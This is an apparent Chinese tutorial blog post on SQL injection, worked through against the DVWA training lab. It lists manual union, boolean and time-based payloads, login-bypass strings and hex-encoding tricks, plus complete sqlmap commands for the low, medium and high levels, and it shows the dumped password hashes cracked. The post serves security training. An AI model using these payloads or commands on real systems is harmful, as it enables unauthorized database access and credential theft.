SQL注入之sqlmap的使用方法及实战案例
前言
最近总结了sqlmap在实际场景中如何使用的方法以及相关步骤,往期文章中也有写到sqlmap中使用的语法以及相关的案例,但是在实际场景中还是不能规范化的查出数据库的信息内容,关于SQL语句是什么,如何进行手工注入,这里就不介绍了,大家可以看往期的文章进行复习一下,我们今天主要给大家介绍sqlmap常用的几种使用方法,以及配合dvwa靶机上的SQL注入内容进行讲解。
一、sqlmap的使用方法
SQL注入又可分为: (1)基于报错注入(泄露敏感信息) (2)基于布尔盲注 (3)基于时间的盲注 (4)基于联合查询的注入 (5)一些二次注入以及宽字节的注入 这些在往期文章都有介绍到,大家可以回头复习一下。 这里给大家总结一下相关注入语句的步骤,分别是查库,表,列,以及相关的字段的信息
查库,表,列,以及相关的字段的信息
查看所有的库名和表名 ’ union select table_name,table_schema from information_schema.tables–
查看当前的数据库的表名和库名 ’ union select table_name,table_schema from information_schema.tables where table_schema=database()–
查看表名 ’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’– ’ union select table_name,table_schema from information_schema.tables where table_schema=database()– ’ union select table_name,table_schema from information_schema.tables where table_schema=0x64767761-- (16进制绕过)
查看列名 ’ union select 1,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’–
查看列名的数据 ’ union select user,password from dvwa.users–
查字段 1’ order by 2– 版本,用户名 1’ union select version(),substring_index(user(),“@”,1)# 连接字符串( : )(空格+冒号+空格)分隔
查用户名,数据库,数据库版本 1’union select concat_ws(char(32,58,32),user(),database(),version()),substring_index(user(),“@”,1)#
万能密码汇总
(这里的-- (–和空格)表示注释的意思),还有#也是注释的意思 a’ or 1=1 limit 0,1– a’ or 1=1 limit 1– a’ or 1=1 – 1’ or ‘1’=‘1 admin’ or ‘1’='1
判断是否为字符型注入
使用1’ or ‘1’=‘1 看看是否能输出所有内容,可以的话,说明是字符型注入 1’ order by 2– 1’ union select 1,2– 1’ union select @@datadir,@@hostname– (1)ID: 1’ union select @@datadir,@@hostname– First name: /var/lib/mysql/ Surname: locahost
1’ union select @@version,@@version_compile_os– (2)ID: 1’ union select @@version,@@version_compile_os– First name: 10.6.7-MariaDB-3 Surname: debian-linux-gnu
(3)如果使用1’-- 和1-- 都没有报错的话,说明是字符型注入了
SQL布尔盲注方法
(1)’ union select 1,substr(bin(ascil(substr(database(),1,1)))1,1)>0– (2)’ and 1=1-- (前面执行了,后面就不执行了,前面不执行了,后面也不执行了) (3)’ or 1=1-- (不管前面执不执行,后面都会执行,输出所有内容) (4)时间盲注判断的方法 1’ and sleep(3)-- (如果页面延迟了3秒,说明存在SQL注入)
二、sqlmap的实战案例
1.手工注入
dvwa(SQL注入低级)
我们使用dvwa靶机作为演示,我们进入到SQL注入的页面,我们先把安全级别调到最低级 然后来判断是否存在SQL注入,加上单引号,回车 发现报错,说明存在SQL注入,接下来我们进行注入语句查看数据库信息,先查看有多少字段 ’ order by 2– 回车后,没有报错 我们注入’ order by 3– 发现报错,说明当前的数据库的表中的字段只有两列字段信息,接下来进行爆库,验证一下’ union select 1,2– 查看所有的库名和表名 ’ union select table_name,table_schema from information_schema.tables– 查看当前的数据库 ’ union select 1,database()– 查看数据库中的表 查当前库中的所有表名 ’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’– 查到了users和guestbook两张表,账号密码可能就在uses表里,继续查看在这里插入图片描述
查看列名 ’ union select 1,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’– 很可能存在user和password字段里 查看列名的数据 ’ union select user,password from dvwa.users– 查找成功 ID: ’ union select user,password from dvwa.users– 名字: admin 姓氏: 5f4dcc3b5aa765d61d8327deb882cf99 ID: ’ union select user,password from dvwa.users– 名字: gordonb 姓氏: e99a18c428cb38d5f260853678922e03 ID: ’ union select user,password from dvwa.users– 名字: 1337 姓氏: 8d3533d75ae2c3966d7e0d4fcc69216b ID: ’ union select user,password from dvwa.users– 名字: pablo 姓氏: 0d107d09f5bbe40cade3de5c71e9e9b7 ID: ’ union select user,password from dvwa.users– 名字: smithy 姓氏: 5f4dcc3b5aa765d61d8327deb882cf99
只是密码的话是用MD5进行加密的,我们可以尝试利用MD5解密软件进行解密 这里给大家介绍一个MD5工具,网址在下面 https://www.cmd5.com/ 账号和密码: (MD5解码后) ID: ’ union select user,password from users– 名字: admin 姓氏: 5f4dcc3b5aa765d61d8327deb882cf99(password) ID: ’ union select user,password from users– 名字: gordonb 姓氏: e99a18c428cb38d5f260853678922e03(abc123) ID: ’ union select user,password from users– 名字: 1337 姓氏: 8d3533d75ae2c3966d7e0d4fcc69216b(charley) ID: ’ union select user,password from users– 名字: pablo 姓氏: 0d107d09f5bbe40cade3de5c71e9e9b7(letmein) ID: ’ union select user,password from users– 名字: smithy 姓氏: 5f4dcc3b5aa765d61d8327deb882cf99(password)
dvwa(SQL注入中级)
我们可以看到界面是一个数字型注入的方式,怎么判断呢,方法很简单,我们无法从前端进行注入,只能进行抓包注入,我们打开burp进行抓包 我们发现是POST请求,也就是说他请求的数据是在请求体里显示的,并不是显示在URL中的,而在dvwa低级中则是GET请求,直接显示在URL中的。
我们加入单引号看看 id=1’&Submit=%E6%8F%90%E4%BA%A4 返回错误,加入两个单引号试试 id=1’'&Submit=%E6%8F%90%E4%BA%A4 当加入两个的时候,没有返回成功,而且也报错了,说明就是数字型注入,不是字符型,我们在注入语句的时候前面就不要加入单引号闭合前面的单引号了。
(1)查有多少字段 id=1 order by 2– 返回成功
(2)查所有的库和表 union select table_name,table_schema from information_schema.tables– (3)查当前库中的所有表名 ’ union select table_name,table_schema from information_schema.tables where table_schema=database()– 这里是不可以用’dvwa’这种库名的写法的,因为在中级的级别中以及对单引号进行了转义,语句是执行不成功的,加上了反斜杠进行了转义('‘dvwa’–) 发现了报错 我们要将’dvwa’改为database()进行绕过,就可以了
(4)查表中的字段 这里也对users表进行了转义 ’ union select 1,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’–
所以我们要将users表名进行16进制转换,进行绕过 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273– (将users转换为16进制)(dvwa的16进制->0x64767761) 查看字段中的数据 union select user,password from users– 至此,中级也进行绕过注入了,我们进入到高级试试
dvwa(SQL注入高级)
我们发现是一个跳转页面,点击之后跳入了另一个界面 输入1之后,回显到原来的界面 发现也是POST请求 我们直接在方框里输入注入内容就好了,按照低级方法注入就好了 这里把语句给大家,自己注入一下,这里就不进行演示了 查看所有的库名和表名 ’ union select table_name,table_schema from information_schema.tables–
查当前库中的所有表名 ’ union select table_name,table_schema from information_schema.tables where table_schema=database()–
查看表中的字段 ’ union select 1,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’–
查看字段中的数据 ’ union select user,password from users–
2. sqlmap自动化注入
dvwa(SQL注入低级)
Sqlmap的基本流程如下:
找注入点并检测:sqlmap –u “链接” 列库显示数据库:sqlmap –u “链接” --dbs 列库显示当前的数据库:sqlmap –u “链接” --current-db 列表显示表:sqlmap –u “链接” –D 数据库 --tables 列字段显示表中字段:sqlmap –u “链接” –D 数据库 –T 表名 --columns 显示字段内容:sqlmap –u “链接” –D 数据库 –T 表名 –C 字段 --dump
查看当前的数据库 python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#” -cookie=“security=low; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -current-db 当前库为dvwa 查看表 python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#” -cookie=“security=low; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa --tables 查看表中的字段 python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#” -cookie=“security=low; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa -T users --columns 查看字段详细数据,很可能在user和password字段里 python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#” -cookie=“security=low; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa -T users -C “user,password” -dump
dvwa(SQL注入中级)
我们发现是POST请求,无法进行对url进行检测,只能使用data模块进行注入,还有cookie模块 以下注入方法是错误的 python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/#” -p id -batch -dbs cookie是在消息头那里可以找的到 data在请求那里可以找的到 查看当前数据库 python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=medium; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -current-db 查看表 python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=medium; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa --tables 查看表中的字段 python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=medium; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa -T users --columns 查看字段中的数据 python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=medium; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa -T users -C “user,password” -dump 可以看出,加-dump参数,sqlmap是可以自动解密出来的。
dvwa(SQL注入高级)
高级就有点难 ,因为有跳转页面,我们要设置第二个url参数 http://192.168.171.1/dvwa/vulnerabilities/sqli/session-input.php#
我们打开第二个窗口进行提交,发现是POST请求,也是要加上data参数的 找到data参数 我们进行注入语句,第一个url参数是 http://192.168.171.1/dvwa/vulnerabilities/sqli/
python sqlmap.py -u “192.168.171.1/dvwa/vulnerabilities/sqli/session-input.php#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=high; PHPSESSID=vihdoi5q5fc92b4akqtafpbtc2” -second-url=“http://192.168.171.1/dvwa/vulnerabilities/sqli/” -batch -current-db 查看表 python sqlmap.py -u “192.168.171.1/dvwa/vulnerabilities/sqli/session-input.php#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=high; PHPSESSID=vihdoi5q5fc92b4akqtafpbtc2” -second-url=“http://192.168.171.1/dvwa/vulnerabilities/sqli/” -batch -D dvwa --tables 查看表中的字段 python sqlmap.py -u “192.168.171.1/dvwa/vulnerabilities/sqli/session-input.php#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=high; PHPSESSID=vihdoi5q5fc92b4akqtafpbtc2” -second-url=“http://192.168.171.1/dvwa/vulnerabilities/sqli/” -batch -D dvwa -T tables --columns 查看字段中的数据 python sqlmap.py -u “192.168.171.1/dvwa/vulnerabilities/sqli/session-input.php#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=high; PHPSESSID=vihdoi5q5fc92b4akqtafpbtc2” -second-url=“http://192.168.171.1/dvwa/vulnerabilities/sqli/” -batch -D dvwa -T tables -C “user,password” -dump 实验结束了,sqlmap有时也会查不出东西了,所以当sqlmap查不出来的时候,可以尝试手工注入试试看,效果也是一样的。
总结
今天给大家讲解了SQL注入的几种常见的手工注入的方法,已经sqlma自动化扫描工具的使用方法,SQL注入是非常注重实操的,不光是这一漏洞类型,而是这个行业都是离不开实操性的,希望大家看完之后可以自己去尝试操作一下,对以后工作和打比赛都是有利的。
|